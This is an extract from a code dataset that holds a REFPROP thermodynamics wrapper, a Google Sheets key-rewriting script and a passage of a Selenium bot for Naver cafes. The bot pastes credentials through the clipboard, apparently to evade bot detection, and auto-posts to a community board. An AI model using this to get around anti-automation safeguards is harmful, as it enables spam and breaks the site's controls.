_inputerrorcheck(locals())\n _t.value, _Dliq.value, _Dvap.value = t, Dliq, Dvap\n for each in range(len(xliq)):\n _xliq[each] = xliq[each]\n for each in range(len(xvap)):\n _xvap[each] = xvap[each]\n \n _rpsurten_(byref(_t), byref(_Dliq), byref(_Dvap), _xliq, _xvap,\n byref(_sigma), byref(_ierr), byref(_herr), c_long(255))\n\n return _prop(t = t, Dliq = Dliq, Dvap = Dvap, xliq = xliq, xvap = xvap,\n sigma = _sigma.value, ierr = _ierr.value, herr = _herr.value,\n defname = 'surten')\n\n\ndef meltt(t, x):\n '''Compute the melting line pressure as a function of temperature and\n composition.\n\n inputs:\n t--temperature [K]\n x--composition [array of mol frac]\n output:\n p--melting line pressure [kPa]\n\n Caution\n if two valid outputs the function will returns the highest'''\n\n _inputerrorcheck(locals())\n _t.value = t\n for each in range(len(x)): _x[each] = x[each]\n \n _rpmeltt_(byref(_t), _x, byref(_p), byref(_ierr), byref(_herr), c_long(255))\n\n return _prop(t = t, x = x, p = _p.value, ierr = _ierr.value,\n herr = _herr.value, defname = 'meltt')\n\n\ndef meltp(p, x):\n '''Compute the melting line temperature as a function of pressure and\n composition.\n\n inputs:\n p--melting line pressure [kPa]\n x--composition [array of mol frac]\n output:\n t--temperature [K]'''\n\n _inputerrorcheck(locals())\n _p.value = p\n for each in range(len(x)): _x[each] = x[each]\n\n _rpmeltp_(byref(_p), _x, byref(_t), byref(_ierr), byref(_herr), c_long(255))\n \n return _prop(p = p, x = x, t = _t.value, ierr = _ierr.value,\n herr = _herr.value, defname = 'meltp')\n\n\ndef sublt(t, x):\n '''Compute the sublimation line pressure as a function of temperature\n and composition.\n\n inputs:\n t--temperature [K]\n x--composition [array of mol frac]\n output:\n p--sublimation line pressure [kPa]'''\n\n _inputerrorcheck(locals())\n _t.value = t\n for each in range(len(x)): _x[each] = x[each]\n \n _rpsublt_(byref(_t), _x, byref(_p), byref(_ierr), byref(_herr), c_long(255))\n\n return _prop(t = t, x = x, p = _p.value, ierr = _ierr.value,\n herr = _herr.value, defname = 'sublt')\n\n\ndef sublp(p, x):\n '''Compute the sublimation line temperature as a function of pressure\n and composition.\n\n inputs:\n p--melting line pressure [kPa]\n x--composition [array of mol frac]\n output:\n t--temperature [K]'''\n\n _inputerrorcheck(locals())\n _p.value = p\n for each in range(len(x)): _x[each] = x[each]\n\n _rpsublp_(byref(_p), _x, byref(_t), byref(_ierr), byref(_herr), c_long(255))\n\n return _prop(p = p, x = x, t = _t.value, ierr = _ierr.value,\n herr = _herr.value, defname = 'sublp')\n\n\ndef trnprp(t, D, x):\n '''Compute the transport properties of thermal conductivity and\n viscosity as functions of temperature, density, and composition\n\n inputs:\n t--temperature [K]\n D--molar density [mol/L]\n x--composition array [mol frac]\n outputs:\n eta--viscosity (uPa.s)\n tcx--thermal conductivity (W/m.K)'''\n\n _inputerrorcheck(locals())\n _t.value, _D.value = t, D\n for each in range(len(x)): _x[each] = x[each]\n \n _rptrnprp_(byref(_t), byref(_D), _x, byref(_eta), byref(_tcx),\n byref(_ierr), byref(_herr), c_long(255))\n\n return _prop(x = x, D = D, t = t, eta = _eta.value, tcx = _tcx.value,\n ierr = _ierr.value, herr = _herr.value, defname = 'trnprp')\n\n\ndef getktv(icomp, jcomp):\n '''Retrieve mixture model and parameter info for a specified binary\n\n This subroutine should not be called until after a call to SETUP.\n\n inputs:\n icomp--component i\n jcomp--component j\n outputs:\n hmodij--mixing rule for the binary pair i,j (e.g. LJ1 or LIN)\n [character*3]\n fij--binary mixture parameters [array of dimension nmxpar;\n currently nmxpar is set to 6]; the parameters will vary depending\n on hmodij;\n hfmix--file name [character*255] containing parameters for the binary\n mixture model\n hfij--description of the binary mixture parameters [character*8 array\n of dimension nmxpar] for example, for the Lemmon-Jacobsen model\n (LJ1):\n fij(1) = zeta\n fij(2) = xi\n fij(3) = Fpq\n fij(4) = beta\n fij(5) = gamma\n fij(6) = 'not used'\n hbinp--documentation for the binary parameters [character*255]\n terminated with ASCII null character\n hmxrul--description of the mixing rule [character*255]'''\n _inputerrorcheck(locals())\n _icomp.value, _jcomp.value = icomp, jcomp\n \n _rpgetktv_(byref(_icomp), byref(_jcomp), byref(_hmodij), _fij,\n byref(_hfmix), _hfij, byref(_hbinp), byref(_hmxrul), c_long(3), c_long(255),\n c_long(8), c_long(255), c_long(255))\n\n return _prop(icomp = icomp, jcomp = jcomp,\n hmodij = _hmodij.value.decode('utf-8'),\n fij = [_fij[each] for each in range(_nmxpar)],\n hfmix = _hfmix.value.decode('utf-8'),\n hbinp = _hbinp.value.decode('utf-8').rstrip(),\n hmxrul = _hmxrul.value.decode('utf-8').rstrip(),\n #correction on system error\n #hfij = [_hfij[each].value.decode('utf-8').strip()\n # for each in range(_nmxpar)])\n hfij = [_hfij[0].value.decode('utf-8')[each * 8: each * 8 + 8].strip()\n for each in range(_nmxpar)])\n\n\ndef getmod(icomp, htype):\n '''Retrieve citation information for the property models used\n\n inputs:\n icomp--pointer specifying component number\n zero and negative values are used for ECS reference fluid(s)\n htype--flag indicating which model is to be retrieved [character*3]\n 'EOS': equation of state for thermodynamic properties\n 'CP0': ideal part of EOS (e.g. ideal-gas heat capacity)\n 'ETA': viscosity\n 'VSK': viscosity critical enhancement\n 'TCX': thermal conductivity\n 'TKK': thermal conductivity critical enhancement\n 'STN': surface tension\n 'DE ': dielectric constant\n 'MLT': melting line (freezing line, actually)\n 'SBL': sublimation line\n 'PS ': vapor pressure equation\n 'DL ': saturated liquid density equation\n 'DV ': saturated vapor density equation\n outputs:\n hcode--component model used for property specified in htype\n some possibilities for thermodynamic properties:\n 'FEQ': Helmholtz free energy model\n 'BWR': pure fluid modified Benedict-Webb-Rubin (MBWR)\n 'ECS': pure fluid thermo extended corresponding states\n some possibilities for viscosity:\n 'ECS': extended corresponding states (all fluids)\n 'VS1': the 'composite' model for R134a, R152a, NH3, etc.\n 'VS2': Younglove-Ely model for hydrocarbons\n 'VS4': generalized friction theory of Quinones-Cisneros and Dieters\n 'VS5': Chung et al model\n some possibilities for thermal conductivity:\n 'ECS': extended corresponding states (all fluids)\n 'TC1': the 'composite' model for R134a, R152a, etc.\n 'TC2': Younglove-Ely model for hydrocarbons\n 'TC5': predictive model of Chung et al. (1988)\n some possibilities for surface tension:\n 'ST1': surface tension as f(tau); tau = 1 - T/Tc\n hcite--component model used for property specified in htype;\n the first 3 characters repeat the model designation of hcode\n and the remaining are the citation for the source'''\n _inputerrorcheck(locals())\n _icomp.value, _htype.value = icomp, htype.upper().encode('ascii')\n\n _rpgetmod_(byref(_icomp), byref(_htype), byref(_hcode), byref(_hcite),\n c_long(3), c_long(3), c_long(255))\n\n return _prop(icomp = icomp, htype = htype,\n hcode = _hcode.value.decode('utf-8'),\n hcite = _hcite.value.decode('utf-8').rstrip())\n\n\ndef setktv(icomp, jcomp, hmodij, fij=([0] * _nmxpar), hfmix='HMX.BNC'):\n '''Set mixture model and/or parameters\n\n This subroutine must be called after SETUP, but before any call to\n SETREF; it need not be called at all if the default mixture parameters\n (those read in by SETUP) are to be used.\n\n inputs:\n icomp--component\n jcomp--component j\n hmodij--mixing rule for the binary pair i,j [character*3] e.g.:\n 'LJ1' (Lemmon-Jacobsen model)\n 'LM1' (modified Lemmon-Jacobsen model) or\n 'LIN' (linear mixing rules)\n 'RST' indicates reset all pairs to values from original call to\n SETUP (i.e. those read from file) [all other inputs are\n ignored]\n fij--binary mixture parameters [array of dimension nmxpar; currently\n nmxpar is set to 6] the parameters will vary depending on hmodij;\n for example, for the Lemmon-Jacobsen model\n (LJ1):\n fij(1) = zeta\n fij(2) = xi\n fij(3) = Fpq\n fij(4) = beta\n fij(5) = gamma\n fij(6) = 'not used'\n hfmix--file name [character*255] containing generalized parameters\n for the binary mixture model; this will usually be the same as the\n corresponding input to SETUP (e.g.,':fluids:HMX.BNC')'''\n global _setktv_rec, _fpath, _setupprop\n\n #verify multiple model calls\n _checksetupmodel('setktv')\n\n _inputerrorcheck(locals())\n\n #define setup record for FluidModel\n if hmodij.upper() != 'RST':\n _setktv_rec = _Setuprecord(copy(locals()), '_setktv_rec')\n\n _icomp.value, _jcomp.value = icomp, jcomp\n _hmodij.value = hmodij.upper().encode('ascii')\n if hfmix == 'HMX.BNC':\n _hfmix.value = (_fpath + 'fluids/HMX.BNC').encode('ascii')\n else: _hfmix.value = hfmix.encode('ascii')\n for each in range(_nmxpar): _fij[each] = fij[each]\n\n _rpsetktv_(byref(_icomp), byref(_jcomp), byref(_hmodij), _fij,\n byref(_hfmix), byref(_ierr), byref(_herr), c_long(3), c_long(255), c_long(255))\n\n if hmodij.upper() != 'RST':\n stktv = {}\n stktv['icomp'] = icomp\n stktv['jcomp'] = jcomp\n stktv['hmodij'] = hmodij.upper()\n stktv['fij'] = fij\n stktv['hfmix'] = hfmix\n _setupprop['setktv'] = stktv\n elif hmodij.upper() == 'RST':\n if 'setktv' in _setupprop:\n _setupprop.__delitem__('setktv')\n if '_setktv_rec' in _Setuprecord.object_list:\n _setktv_rec = None\n\n return _prop(ierr = _ierr.value, herr = _herr.value, defname = 'setktv')\n\n\ndef setaga():\n '''Set up working arrays for use with AGA8 equation of state.\n\n input:\n none\n outputs:\n none'''\n global _setaga_rec, _setupprop\n\n #verify multiple model calls\n _checksetupmodel('setaga')\n\n #define setup record for FluidModel\n _setaga_rec = _Setuprecord(copy(locals()), '_setaga_rec')\n\n\n _rpsetaga_(byref(_ierr), byref(_herr), c_long(255))\n\n _setupprop['setaga'] = True\n return _prop(ierr = _ierr.value, herr = _herr.value, defname = 'setaga')\n\n\ndef unsetaga():\n '''Load original values into arrays changed in the call to SETAGA. This\n routine resets the values back to those loaded when SETUP was called.'''\n global _setaga_rec, _setupprop\n\n _rpunsetaga_()\n\n if 'setaga' in _setupprop:\n _setupprop.__delitem__('setaga')\n if '_setaga_rec' in _Setuprecord.object_list:\n _setaga_rec = None\n return _prop()\n\ndef preos(ixflag=0):\n '''Turn on or off the use of the PR cubic equation.\n\n inputs:\n ixflag--flag specifying use of PR:\n 0 - Use full equation of state (Peng-Robinson off)\n 1 - Use full equation of state with Peng-Robinson for sat. conditions\n (not currently working)\n 2 - Use Peng-Robinson equation for all calculations\n -1 - return value with current usage of PR: 0, 1, or 2.'''\n #return value gives error return on preos\n global _preos_rec, _setupprop\n\n #verify multiple model calls\n _checksetupmodel('preos')\n\n _inputerrorcheck(locals())\n\n _ixflag.value = ixflag\n\n _rppreos_(byref(_ixflag))\n\n #return settings\n if ixflag == -1:\n #some unknown reason the value is less 2*32\n return _ixflag.value + 2**32\n #reset all preos values\n elif ixflag == 0:\n if 'preos' in _setupprop:\n _setupprop.__delitem__('preos')\n if '_preos_rec' in _Setuprecord.object_list:\n _preos_rec = None\n else:\n _setupprop['preos'] = ixflag\n #define setup record for FluidModel\n _preos_rec = _Setuprecord({'ixflag':ixflag}, '_preos_rec')\n return _prop()\n\ndef getfij(hmodij):\n '''Retrieve parameter info for a specified mixing rule\n\n This subroutine should not be called until after a call to SETUP.\n\n inputs:\n hmodij--mixing rule for the binary pair i,j (e.g. LJ1 or LIN)\n [character*3]\n outputs:\n fij--binary mixture parameters [array of dimension nmxpar; currently\n nmxpar is set to 6]; the parameters will vary depending on hmodij;\n hfij--description of the binary mixture parameters [character*8\n array of dimension nmxpar]\n hmxrul--description of the mixing rule [character*255]'''\n _inputerrorcheck(locals())\n _hmodij.value = hmodij.upper().encode('ascii')\n\n _rpgetfij_(byref(_hmodij), _fij, _hfij, byref(_hmxrul), c_long(3), c_long(8),\n c_long(255))\n\n return _prop(hmodij = hmodij.upper(),\n fij = [_fij[each] for each in range(_nmxpar)],\n hmxrul = _hmxrul.value.decode('utf-8').rstrip(),\n #correction on system error\n #hfij = [_hfij[each].value.decode('utf-8').strip()\n # for each in range(_nmxpar)])\n hfij = [_hfij[0].value.decode('utf-8')[each * 8:each * 8 + 8].strip()\n for each in range(_nmxpar)])\n\n\ndef b12(t, x):\n '''Compute b12 as a function of temperature and composition.\n\n inputs:\n t--temperature [K]\n x--composition [array of mol frac]\n outputs:\n b--b12 [(L/mol)^2]'''\n _inputerrorcheck(locals())\n _t.value = t\n for each in range(len(x)): _x[each] = x[each]\n\n _rpb12_(byref(_t), _x, byref(_b))\n\n return _prop(t = t, x = x, b = _b.value)\n\n\ndef excess(t, p, x, kph=0):\n '''Compute excess properties as a function of temperature, pressure, and\n composition.\n\n NOT supported on Windows\n\n inputs:\n t--temperature [K]\n p--pressure [kPa]\n x--composition [array of mol frac]\n kph--phase flag:\n 1 = liquid\n 2 = vapor\n 0 = stable phase\n outputs:\n D--molar density [mol/L] (if input less than 0, used as initial guess)\n vE--excess volume [L/mol]\n eE--excess energy [J/mol]\n hE--excess enthalpy [J/mol]\n sE--excess entropy [J/mol-K]\n aE--excess Helmholtz energy [J/mol]\n gE--excess Gibbs energy [J/mol]'''\n _inputerrorcheck(locals())\n\n _t.value, _p.value, _kph.value = t, p, kph\n for each in range(len(x)): _x[each] = x[each]\n\n _rpexcess_(byref(_t), byref(_p), _x, byref(_kph), byref(_D), byref(_vE),\n byref(_eE), byref(_hE), byref(_sE), byref(_aE), byref(_gE),\n byref(_ierr), byref(_herr), c_long(255))\n\n return _prop(t = t, p = p, x = x, kph = kph, D = _D.value, vE = _vE.value,\n eE = _eE.value, hE = _hE.value, sE = _sE.value, aE = _aE.value,\n gE = _gE.value, ierr = _ierr.value, herr = _herr.value,\n defname = 'excess')\n\n\ndef phiderv(iderv, t, D, x):\n '''Calculate various derivatives needed for VLE determination\n\n based on derivations in the GERG-2004 document for natural gas\n\n inputs:\n iderv:\n set to 1 for first order derivatives only (dadn and dnadn)####\n set to 2 for full calculations###\n t--temperature (K)\n D--density (mol/L)\n x--composition [array of mol frac]\n outputs: (where n is mole number, the listed equation numbers are those\n in the GERG manuscript)\n dnadn--partial(n*alphar)/partial(ni) Eq. 7.15\n dadn--n*partial(alphar)/partial(ni) Eq. 7.16\n daddn--del*n*par.(par.(alphar)/par.(del))/par.(ni) Eq. 7.17\n dvdn--n*[partial(Vred)/partial(ni)]/Vred Eq. 7.18\n (=-n*[partial(Dred)/partial(ni)]/Dred)\n dtdn--n*[partial(Tred)/partial(ni)]/Tred Eq. 7.19\n dadxi--partial(alphar)/partial(xi) Eq. 7.21g\n sdadxi--sum[xi*partial(alphar)/partial(xi)] Eq. 7.21g\n dadxij--partial^2(alphar)/partial(xi)/partial(xj) Eq. 7.21i\n daddx--del*partial^2(alphar)/partial(xi)/partial(del) Eq. 7.21j\n dadtx--tau*partial^2(alphar)/partial(xi)/partial(tau) Eq. 7.21k\n dphidT--par.(ln(phi))/par.(T) (constant p,n,x) Eq. 7.29\n dphidp--par.(ln(phi))/par.(p) (constant T,n,x) Eq. 7.30\n dphidnj--n*par.[ln(phi(i))]/par(nj) (constant T,p) Eq. 7.31\n dlnfinidT--par.[ln(fi/ni)]/par(T) Eq. 7.36\n dlnfinidV--n*par.[ln(fi/ni)]/par(V) Eq. 7.37\n d2adbn-- par.[par.(n*alphar)/par.(ni)]/par.(T) Eq. 7.44\n d2adnn--n*partial^2(n*alphar)/partial(ni)/partial(nj) Eq. 7.46 and 7.47 (similar to 7.38)\n d2addn--del*par.[n*par.(alphar)/par.(ni)]/par.(del) Eq. 7.50\n d2adtn--tau*par.[n*par.(alphar)/par.(ni)]/par.(tau) Eq. 7.51\n d2adxn-- par.[n*par.(alphar)/par.(ni)]/par.(xj) Eq. 7.52\n \n other calculated variables:\n ddrdxn--par.[n*par.(Dred)/par.(ni)]/par.(xj) Eq. 7.55\n dtrdxn--par.[n*par.(Tred)/par.(ni)]/par.(xj) Eq. 7.56\n dpdn--n*partial(p)/partial(ni) Eq. 7.63 constant T,V,nj\n dpdxi--partial(p)/partial(xi) constant T,V\n d2adxnTV--par.[n*par.(alphar)/par.(ni)]/par.(xj) constant T,V\n dadxiTV--partial(alphar)/partial(xi) constant T,V\n daddxiTV--del*partial^2(alphar)/partial(xi)/partial(del)constant T,V\n dphidxj--par.(ln(phi))/par.(xj) constant T,p,x\n xlnfi--Log of modified fugacity'''\n \n _inputerrorcheck(locals())\n\n _iderv.value = iderv\n _t.value, _D.value = t, D\n for each in range(len(x)): _x[each] = x[each]\n\n _rpphiderv_(byref(_iderv), byref(_t), byref(_D), _x, _dadn, _dnadn,\n byref(_ierr), byref(_herr), c_long(255))\n \n dadn = [_dadn[each] for each in range(_nc_rec.record)]\n dnadn = [_dnadn[each] for each in range(_nc_rec.record)]\n\n return _prop(iderv = iderv, t = t, D = D, x = x, dnadn = dnadn,\n dadn = dadn, ierr = _ierr.value, herr = _herr.value,\n defname = 'phinderv')\n\n\ndef cstar(t, p, v, x):\n '''Calculate the critical flow factor, C*, for nozzle flow of a gas\n (subroutine was originally named CCRIT)\n\n inputs:\n t--temperature [K]\n p--pressure [kPa]\n v--plenum velocity [m/s] (should generally be set to 0 for\n calculating stagnation conditions)\n x--composition [array of mol frac]\n outputs:\n cs--critical flow factor [dimensionless]\n ts--nozzle throat temperature [K]\n Ds--nozzle throat molar density [mol/L]\n ps--nozzle throat pressure [kPa]\n ws--nozzle throat speed of sound [m/s]'''\n\n _inputerrorcheck(locals())\n _v.value = v\n _t.value, _p.value = t, p\n for each in range(len(x)): _x[each] = x[each]\n \n _rpcstar_(byref(_t), byref(_p), byref(_v), _x, byref(_cs), byref(_ts),\n byref(_Ds), byref(_ps), byref(_ws), byref(_ierr),\n byref(_herr), c_long(255))\n\n return _prop(t = t, p = p, v = v, x = x, cs = _cs.value, ts = _ts.value,\n Ds = _Ds.value, ps = _ps.value, ws = _ws.value, ierr = _ierr.value,\n herr = _herr.value, defname = 'cstar')\n\n\n#compilations\n\n\n\n#missing to do \n#SATTP\n#CRTPNT\n#SATGV\n#MAXP\n#DERVPVT\n#DBDT2\n#VIRBCD\n#HEAT\n\n\n\n\"\"\"\n subroutine SATTP (t,p,x,iFlsh,iGuess,d,Dl,Dv,xliq,xvap,q,ierr,\n & herr)\nc\nc Estimate temperature, pressure, and compositions to be used\nc as initial guesses to SATTP\nc\nc inputs:\nc iFlsh--Phase flag: 0 - Flash calculation (T and P known)\nc 1 - T and xliq known, P and xvap returned\nc 2 - T and xvap known, P and xliq returned\nc 3 - P and xliq known, T and xvap returned\nc 4 - P and xvap known, T and xliq returned\nc if this value is negative, the retrograde point will be returned\nc t--temperature [K] (input or output)\nc p--pressure [MPa] (input or output)\nc x--composition [array of mol frac]\nc iGuess--if set to 1, all inputs are used as initial guesses for the calculation\nc outputs:\nc d--overall molar density [mol/L]\nc Dl--molar density [mol/L] of saturated liquid\nc Dv--molar density [mol/L] of saturated vapor\nc xliq--liquid phase composition [array of mol frac]\nc xvap--vapor phase composition [array of mol frac]\nc q--quality\nc ierr--error flag: 0 = successful\nc 1 = unsuccessful\nc herr--error string (character*255 variable if ierr<>0)\nc\nc\n\nbroutine CRTPNT (z,tc,pc,rhoc,ierr,herr)\nc\nc Subroutine for the determination of true critical point of a\nc mixture using the Method of Michelsen (1984)\nc\nc The routine requires good initial guess values of pc and tc.\nc On convergence, the values of bb and cc should be close to zero\nc and dd > 0 for a two-phase critical point.\nc bb=0, cc=0 and dd <= 0 for an unstable critical point.\nc\nc inputs:\nc z--composition [array of mol frac]\nc\nc outputs:\nc tc--critical temperature [K]\nc pc--critical pressure [kPa]\nc rhoc--critical density [mol/l]\nc ierr--error flag\nc herr--error string (character*255 variable if ierr<>0)\nc\n\n subroutine SATGV (t,p,z,vf,b,ipv,ityp,isp,rhox,rhoy,x,y,ierr,herr)\nc\nc Calculates the bubble or dew point state using the entropy or density method\nc of GV. The caculation method is similar to the volume based algorithm of GERG.\nc The cricondenbar and cricondentherm are estimated using the method in: M.L.\nc Michelsen, Saturation point calculations, Fluid Phase Equilibria, 23:181, 1985.\nc\nc inputs:\nc t--temperature [K]\nc p--pressure [kPa]\nc z--overall composition [array of mol frac]\nc vf--vapor fraction (0>=vf>=1)\nc set vf=0 for liquid and vf=1 for vapor\nc for ityp=6, vf=1 assumes x is liquid and y is vapor,\nc and vf=0 assumes y is liquid and x is vapor\nc b--input value, either entropy [J/mol-K] or density [mol/l]\nc ipv--pressure or volume based algorithm\nc 1 -> pressure based\nc 2 -> volume based\nc ityp--input values\nc 0 -> given p, calculate t\nc 1 -> given t, calculate p\nc 2 -> cricondentherm condition, calculate t,p (ipv=1 only)\nc 3 -> cricondenbar condition, calculate t,p (ipv=1 only)\nc 5 -> given entropy, calculate t,p\nc 6 -> given density, calculate t,p\nc isp--use values from Splines as initial guesses if set to 1\nc\nc outputs: (initial guesses must be sent in all variables (unless isp=1))\nc t--temperature [K]\nc p--pressure [kPa]\nc rhox--density of x phase [mol/l]\nc rhoy--density of y phase [mol/l]\nc x--composition of x array [array of mol frac]\nc y--composition of y array [array of mol frac]\nc ierr--error flag: 0 = successful\nc 1 = LUdecomp failed\nc 2 = derivatives are not available in RDXHMX\nc 71 = no convergence\nc 72 = log values too large\nc 73 = p or T out of range\nc 74 = trival solution\nc 75 = unacceptable F\nc 76 = False roots\nc 77 = density out of range\nc 80 = vf < 0 or vf > 1\nc 81 = sum(z)<>1\nc 82 = input rho<=0\nc herr--error string (character*255 variable if ierr<>0)\nc\nc\nc equations to be solved simultaneously are:\nc --pressure based:\nc f(1:n)=log(y/x)-log((fxi/nxi)/(fyi/nyi))=0\nc f(n+1)=sum(y(i)-x(i))=0\nc f(n+2)=b/binput-1=0, where b = p, t, d, or s\nc\nc --volume based:\nc f(1:n) - log(y/x)-log((fxi/nxi)/(fyi/nyi))=0\nc f(n+1) - sum(y(i)-x(i))=0\nc f(n+2) - py=px\nc f(n+3) - b/binput-1=0, where b = p, t, d, or s\nc\nc variables:\nc 1 to nc - log(k(i))\nc nc+1 - log(t)\nc nc+2 - log(p) or log(rhox)\nc nc+3 - log(rhoy)\nc\n\n\n subroutine MAXP (x,tm,pm,Dm,ierr,herr)\nc\nc values at the maximum pressure along the saturation line, these are\nc returned from the call to SATSPLN and apply only to the composition x\nc sent to SATSPLN.\nc\nc input:\nc x--composition [array of mol frac]\nc outputs:\nc tm--temperature [K]\nc pm--pressure [kPa]\nc Dm--density [mol/L]\nc ierr--error flag: 0 = successful\nc herr--error string (character*255 variable if ierr<>0)\nc\n\n\n subroutine DERVPVT (t,rho,x,\n & dPdD,dPdT,d2PdD2,d2PdT2,d2PdTD,\n & dDdP,dDdT,d2DdP2,d2DdT2,d2DdPT,\n & dTdP,dTdD,d2TdP2,d2TdD2,d2TdPD)\nc\nc compute derivatives of temperature, pressure, and density\nc using core functions for Helmholtz free energy equations only\nc\nc inputs:\nc t--temperature [K]\nc rho--molar density [mol/L]\nc x--composition [array of mol frac]\nc outputs:\nc dPdD--derivative dP/drho [kPa-L/mol]\nc dPdT--derivative dP/dT [kPa/K]\nc dDdP--derivative drho/dP [mol/(L-kPa)]\nc dDdT--derivative drho/dT [mol/(L-K)]\nc dTdP--derivative dT/dP [K/kPa]\nc dTdD--derivative dT/drho [(L-K)/mol]\nc d2PdD2--derivative d^2P/drho^2 [kPa-L^2/mol^2]\nc d2PdT2--derivative d2P/dT2 [kPa/K^2]\nc d2PdTD--derivative d2P/dTd(rho) [J/mol-K]\n\n subroutine DBDT2 (t,x,dbt2)\nc\nc compute the 2nd derivative of B (B is the second virial coefficient) with\nc respect to T as a function of temperature and composition.\nc\nc inputs:\nc t--temperature [K]\nc x--composition [array of mol frac]\nc outputs:\nc dbt2--2nd derivative of B with respect to T [L/mol-K^2]\nc\n\nsubroutine VIRBCD (t,x,b,c,d)\nc\nc Compute virial coefficients as a function of temperature\nc and composition. The routine currently works only for pure fluids and\nc for the Helmholtz equation.\nc All values are computed exactly based on the terms in the eos, not\nc as done in VIRB by calculating properties at rho=1.d-8.\nc\nc inputs:\nc t--temperature [K]\nc x--composition [array of mol frac]\nc outputs:\nc b--second virial coefficient [l/mol]\nc c-- third virial coefficient [(l/mol)^2]\nc d--fourth virial coefficient [(l/mol)^3]\nc\n\n\n\n subroutine HEAT (t,rho,x,hg,hn,ierr,herr)\nc\nc Compute the ideal gas gross and net heating values.\nc\nc inputs:\nc t--temperature [K]\nc rho--molar density [mol/L]\nc x--composition [array of mol frac]\nc\nc outputs:\nc hg--gross (or superior) heating value [J/mol]\nc hn--net (or inferior) heating value [J/mol]\nc ierr--error flag: 0 = successful\nc 1 = error in chemical formula\nc 2 = not all heating values available\nc herr--error string (character*255 variable if ierr<>0)\nc\n\n\n\"\"\"\n\nif __name__ == '__main__':\n _test()\n\n #import profile\n #profile.run('_test()')\n\n","sub_path":"Python3.6/refprop.py","file_name":"refprop.py","file_ext":"py","file_size_in_byte":213854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"237851634","text":"import gspread\nimport optparse\nimport os\nimport json\nfrom oauth2client.service_account import ServiceAccountCredentials\nfrom config import sheetId\nfrom functions import fileWriter\nscope = ['https://spreadsheets.google.com/feeds',\n\t\t'https://www.googleapis.com/auth/drive']\n\ncredentials = ServiceAccountCredentials.from_json_keyfile_name('google-sheets.json', scope)\n#Get Sheet ID from config.js file\nsheetID = sheetId\n\n#create worksheet\ngc = gspread.authorize(credentials)\nsh = gc.open_by_key(sheetID)\nworksheet = sh.worksheet(\"faq\")\nworksheet2 = sh.worksheet(\"model\")\nreponse_list = worksheet2.col_values(1)\nupdateRow = len(reponse_list)\n#get all the keys from google sheet\nvalues_list = worksheet.col_values(1)\nreprompt = 'answer.reprompt'\n\n# creating a list of values in every base template\nbaseList = ['key','answer.reprompt']\n\n# create a new list that has all the keys in our sheet minus those from baseList\nl4 = [x for x in values_list if x not in baseList]\ncount = updateRow + 1\nfor each in l4 :\n if \"?\" in each or \"prompt\" not in each :\n cell = worksheet.find(each)\n row = cell.row\n key = each.replace(\"?\",\"\")\n phrase = \"\\\"\"+key+\"\\\"\"\n worksheet2.update_cell(count,2,phrase)\n key = key.lower()\n key = key.replace(\" \",\".\")\n key = key + '.prompt'\n worksheet.update_cell(row,1,key)\n worksheet2.update_cell(count,1,key)\n count = count + 1\n","sub_path":"voice_dry_cleaner/python_scripts/update.py","file_name":"update.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"549685901","text":"from selenium import webdriver\r\nfrom selenium.webdriver import ActionChains\r\nfrom selenium.webdriver.chrome.options import Options\r\nfrom selenium.webdriver.common.keys import Keys\r\nimport pyperclip\r\nimport time\r\n\r\nclass Naver():\r\n def __init__(self, mode = False):\r\n option = Options()\r\n if mode:\r\n option.add_argument('--headless')\r\n option.add_argument('window-size=1920x1080')\r\n option.add_argument(\"lang=ko_KR\")\r\n option.add_argument(\"disable-gpu\")\r\n # if mode:\r\n # self.add_argument('--headless')\r\n # self.add_argument('window-size=1920x1080')\r\n # self.add_argument(\"lang=ko_KR\")\r\n # self.add_argument(\"disable-gpu\")\r\n\r\n driver_dlr = 'module/chromedriver'\r\n self.driver = webdriver.Chrome(executable_path=driver_dlr, chrome_options=option)\r\n self.n_id = \"\"\r\n self.n_pw = \"\"\r\n self.title = \"\"\r\n self.content = \"\"\r\n self.sleep_sec = 0.5\r\n # 19543191 = lol kor\r\n self.cafeID = 19543191\r\n # 2 = 자유 게시판\r\n self.menuID = 2\r\n self.HeadlessMode = mode\r\n self.imgUrl = \"\"\r\n self.writerUrl = 'https://cafe.naver.com/ArticleWrite.nhn?m=write&clubid={0}&menuid={1}'\r\n self.login_err_dic = {\r\n # xPath\r\n 'Auth2' : '//*[@id=\"call_success\"]/div[1]/label',\r\n 'Capture' : '//*[@id=\"captcha\"]'\r\n }\r\n self.old_editor_iframe = 'cafe_main'\r\n\r\n def __del__(self):\r\n self.driver.close()\r\n self.driver.quit()\r\n\r\n def run(self, func):\r\n def wrapper(*args, **kwargs):\r\n try:\r\n print(\"Log: %s Started\" % func.__name__)\r\n func(*args, **kwargs)\r\n except:\r\n print(\"Log: %s Error\" % func.__name__)\r\n finally:\r\n self.sleep()\r\n return wrapper\r\n\r\n def sleep(self):\r\n time.sleep(self.sleep_sec)\r\n\r\n def has_xpath(self, xpath):\r\n try:\r\n self.driver.find_element_by_xpath(xpath)\r\n return True\r\n except:\r\n return False\r\n\r\n def login_err_chk(self):\r\n for i in self.login_err_dic:\r\n if self.has_xpath(self.login_err_dic[i]):\r\n print(\"login_err_chk: {}\".format(i))\r\n exit()\r\n\r\n def login(self):\r\n self.driver.get('https://nid.naver.com/nidlogin.login')\r\n self.sleep()\r\n e_id = self.driver.find_element_by_id('id')\r\n e_pw = self.driver.find_element_by_id('pw')\r\n e_id.clear()\r\n e_pw.clear()\r\n if self.HeadlessMode:\r\n # Headless Mode - 유료, 배포 전용\r\n print(\"Headless mode 지원 불가\")\r\n exit()\r\n else:\r\n # Not Headless Mode - 무료, 오픈 소스 전용\r\n e_id.click()\r\n self.clipboard_input(self.n_id)\r\n e_pw.click()\r\n self.clipboard_input(self.n_pw)\r\n self.driver.find_element_by_class_name('btn_global').click()\r\n self.login_err_chk()\r\n\r\n def write(self):\r\n # 메인으로 작용할 함수.\r\n # 접속하려는 url에 cafeID와 menuID 포맷.\r\n url = 'https://cafe.naver.com/ArticleWrite.nhn?m=write&clubid={0}&menuid={1}'.format(self.cafeID, self.menuID)\r\n self.driver.get(url)\r\n self.sleep()\r\n\r\n # cafe_main iframe를 찾고 제목, 콘텐트를 설정한다.\r\n # self.driver.switch_to.frame(self.driver.find_element_by_id('cafe_main'))\r\n o_title = self.driver.find_element_by_id('subject')\r\n o_title.clear()\r\n o_title.send_keys(self.title)\r\n\r\n # How to use it?\r\n # 1. Smart Editor 2.0으로 만든 content(HTML)를 